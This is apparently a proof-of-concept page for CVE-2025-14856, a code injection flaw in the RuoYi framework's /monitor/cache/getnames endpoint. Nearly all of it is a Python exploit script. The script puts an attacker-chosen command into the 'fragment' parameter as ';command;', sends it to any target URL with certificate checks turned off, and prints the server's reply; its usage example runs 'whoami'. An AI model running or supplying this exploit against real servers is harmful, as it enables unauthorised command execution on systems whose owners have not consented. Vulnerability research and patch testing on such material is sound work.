CVE-2025-14856 若依RuoYi框架/monitor/cache/getnames接口代码注入漏洞

import requests import sys # CVE-2025-14856 PoC - RuoYi Code Injection in /monitor/cache/getnames # Target: RuoYi <= 4.8.1 def exploit(target_url, command): """ Exploit code injection vulnerability in /monitor/cache/getnames endpoint The fragment parameter is vulnerable to code injection """ endpoint = "/monitor/cache/getnames" # Malicious payload with injected code # Modify the fragment parameter to inject arbitrary code payload = { "fragment": f"';{command};'" # Code injection payload } try: # Send exploit request response = requests.get( f"{target_url.rstrip('/')}{endpoint}", params=payload, timeout=10, verify=False ) print(f"[*] Request sent to {target_url}{endpoint}") print(f"[*] Payload: {payload}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text[:500]}") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <command>") print(f"Example: python {sys.argv[0]} http://vulnerable-server.com 'whoami'") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] exploit(target, cmd)